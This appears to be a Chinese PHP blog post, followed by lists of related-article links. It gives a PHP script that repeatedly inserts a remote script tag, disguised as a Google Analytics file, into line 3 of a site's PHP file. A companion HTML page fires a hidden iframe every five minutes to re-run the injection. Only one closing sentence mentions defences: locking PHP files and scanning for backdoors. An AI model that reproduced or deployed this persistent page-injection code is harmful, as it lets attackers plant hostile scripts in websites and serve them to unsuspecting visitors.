php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
mac下使用brew配置环境的步骤分享
May 23 PHP
PHP中session变量的销毁
Feb 27 PHP
PHP数字和字符串ID互转函数(类似优酷ID)
Jun 30 PHP
使用PHP把HTML生成PDF文件的几个开源项目介绍
Nov 17 PHP
php构造函数的继承方法
Feb 09 PHP
php基于session实现数据库交互的类实例
Aug 03 PHP
php视频拍照上传头像功能实现代码分享
Oct 08 PHP
Linux+Nginx+MySQL下配置论坛程序Discuz的基本教程
Dec 23 PHP
php+html5+ajax实现上传图片的方法
May 14 PHP
Yii框架参数化查询中IN查询只能查询一个的解决方法
May 20 PHP
yii2中LinkPager增加总页数和总记录数的实例
Aug 28 PHP
PHP下 Mongodb 连接远程数据库的实例代码
Aug 30 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
全国FM电台频率大全 - 22 重庆市
2020/03/11 无线电
PHP iconv 函数转gb2312的bug解决方法
2009/10/11 PHP
洪恩在线成语词典小偷程序php版
2012/04/20 PHP
PHP实现导出excel数据的类库用法示例
2016/10/15 PHP
PHP Header失效的原因分析及解决方法
2016/11/16 PHP
[原创]php正则删除img标签的方法示例
2017/05/27 PHP
Yii中特殊行为ActionFilter的使用方法示例
2020/10/18 PHP
浏览器无法运行JAVA脚本的解决方法
2008/01/09 Javascript
Javascript中innerHTML用法实例分析
2015/01/12 Javascript
Js与Jq获取浏览器和对象值的方法
2016/03/18 Javascript
NodeJS、NPM安装配置步骤(windows版本) 以及环境变量详解
2017/05/13 NodeJs
浅谈Node Inspector 代理实现
2017/10/19 Javascript
基于Swiper实现移动端页面图片轮播效果
2017/12/28 Javascript
微信小程序 image组件遇到的问题
2019/05/28 Javascript
vue2.x 通过后端接口代理,获取qq音乐api的数据示例
2019/10/30 Javascript
extjs4图表绘制之折线图实现方法分析
2020/03/06 Javascript
es6函数之尾递归用法实例分析
2020/04/25 Javascript
element-ui 实现响应式导航栏的示例代码
2020/05/08 Javascript
[55:35]VGJ.S vs Mski Supermajor小组赛C组 BO3 第二场 6.3
2018/06/04 DOTA
在Django的session中使用User对象的方法
2015/07/23 Python
python 删除大文件中的某一行(最有效率的方法)
2017/08/19 Python
一条命令解决mac版本python IDLE不能输入中文问题
2018/05/15 Python
python使用numpy读取、保存txt数据的实例
2018/10/14 Python
python SocketServer源码深入解读
2019/09/17 Python
利用Python的sympy包求解一元三次方程示例
2019/11/22 Python
Django框架静态文件处理、中间件、上传文件操作实例详解
2020/02/29 Python
Keras 利用sklearn的ROC-AUC建立评价函数详解
2020/06/15 Python
有影响力的品牌之家:Our Social Collective
2019/06/08 全球购物
Conforama瑞士:家具、厨房、电器、装饰
2020/09/06 全球购物
幼儿园新学期开学寄语
2015/05/27 职场文书
劳动模范获奖感言
2015/07/31 职场文书
2019年入党思想汇报格式与要求
2019/06/25 职场文书
600字作文之感受大自然
2019/11/27 职场文书
mysql联合索引的使用规则
2021/06/23 MySQL
Kubernetes中Deployment的升级与回滚
2022/04/01 Servers
排查并解决MySQL生产库内存使用率高的报警
2022/04/11 MySQL